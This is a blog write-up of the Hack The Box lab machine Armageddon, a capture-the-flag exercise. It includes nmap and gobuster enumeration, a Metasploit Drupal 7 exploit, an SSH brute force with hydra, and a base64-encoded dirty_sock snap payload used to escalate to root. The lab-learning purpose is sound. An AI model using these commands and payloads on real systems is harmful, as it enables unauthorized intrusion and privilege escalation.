Hack the box armageddon.htb

n3pp13
4 min readFeb 26, 2022

I just started to make notes for my machine/box completions for write-up publishing recently and I really started to enjoy doing it. The majority of the completed write-ups are still active machines. Which means I am unfortunately not allowed to upload the write-ups as of yet.

Welcome to my writeup for Armageddon.HTB.

First we start with some basic enumeration.

Photo by Dan-Cristian Pădureț on Unsplash

Nmap

sudo nmap -sC -sV -O -A 10.10.10.233 -v-sC: Scan with default NSE scripts. Considered useful for discovery and safe.-sV: Attempts to determine the version of the service running on port.-O: Remote OS detection using TCP/IP
stack fingerprinting.
-A: Enables OS detection, version detection, script scanning, and traceroute-v: Increase the verbosity level (use -vv or more for greater effect)https://www.stationx.net/nmap-cheat-sheet/

Looking at the ports we see that ports 22 and 80 are open.
Port 22 we can use for SSH so let’s take a note of that.
Port 80 tells us there is a page so let us explore that.

As you can see below it is just a plain webpage with a log in feature.

Gobuster

I have a feeling we might get more loot if we brute force for directories.
Gobuster is perfect for that!

sudo gobuster dir -u http://10.10.10.233 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php-u: url
-w: wordlist
-x: file type

A lot of good hits, but on further inspection no info of value for our purpose.. The only info of worth we found was a version file of the cms that the website is running:

Metasploit

Let us try a Metasploit exploit, we are looking for Drupal 7.

search drupal 7

we will be using number: 1

use 1

Got stuck but then remembered the meterpreter commands. So I played with that and used it to upload LinPEAS.

meterpreter > upload linpeas.sh

Inside the info of LinPEAS, I got the username: bxxxxxxxxxxxxxxx

I ran that through hydra and got the password for the ssh.

Hydra

hydra -f -l bxxxxxxxxxxxxxxx -P /usr/share/wordlists/rockyou.txt 10.10.10.233 -t 4 ssh               ─╯

I guess it is time to SSH in!

And we are in!

Userflag in the pocket!

Now when I run the sudo -l command I can use snap install..

Now we need to figure out what it is we install to escalate to root. Next on the attacker machine put in the command:

python2 -c 'print "aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAA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AOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw" + "A"*4256 + "=="' | base64 -d > lol.snap

We got this piece of code from an exploit for an older version of snap. We just repurposed it for our needs on this version. Google: dirty_sock.

Now let’s install the lol.snap we just made.

sudo /usr/bin/snap install --devmode lol.snap

Now let’s log in into our new user with root priviledges!

su dirty_sock

WE ARE ROOT!

Get an email whenever n3pp13 publishes. https://n3pp13.medium.com/subscribe

--

--

n3pp13

a Visual Creative on a journey to become a Cyber-Security Specialist. Thank you for your read and welcome to my Medium account!